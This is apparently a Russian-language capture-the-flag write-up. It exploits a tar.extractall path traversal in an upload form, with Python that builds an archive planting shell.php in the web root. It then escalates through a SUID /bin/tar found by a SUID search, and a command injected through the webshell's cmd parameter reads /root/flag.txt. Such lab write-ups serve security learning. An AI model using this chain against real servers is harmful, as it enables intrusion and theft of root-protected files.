Итак первое что мы видим это как в /upload.php вызывается питон скрипт
И уже в нем заключается основная уязвимость tar.extactall
Немного погуглив находим нечто похожее на то что там нужно и на этом заканчиваем статический анализ
Теперь мы знаем что там нужно запихнуть в архив файлик с именем содержащим Path Traversal
изучаю стуктуру проекта нам нужно нечто ../../../var/www/html/[имя файла] создать его можно например так
import tarfile
with open('shell.php' ,'w') as f:
f.write("")
with tarfile.open("malic.tar.gz", 'w:gz') as tar:
tar.add('shell.php', arcname='../../../var/www/html/shell.php')
Получив архив в вебшеллом подгружаем его на сайт через форму и теперь мы загрузили свой файлик и можем обращаться к нему по [ip:port]/shell.php
И тут новая проблема флаг то в руте лежит, надо как-то получить право рута
Для этого воспользуемся SUID битом , это та самая s когда просматриваем права на файлик ls -la
Подключимся к нашему контейнеру на локалке
docker exec -it [имя/id контейнера] sh
# find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/bin/mount
/bin/su
/bin/umount
/bin/tar
Как види у bin/tar есть права, это почти победа
Пишем немного инвалидский но зато рабочий payload который архивирует потом разархивирует и в выводит флаг
shell.php?cmd=cd /tmp ; /bin/tar czvf t /root/flag.txt ; /bin/tar xzvf t ; cat ./root/flag.txt
<(у меня сверху первая рабочая версия)>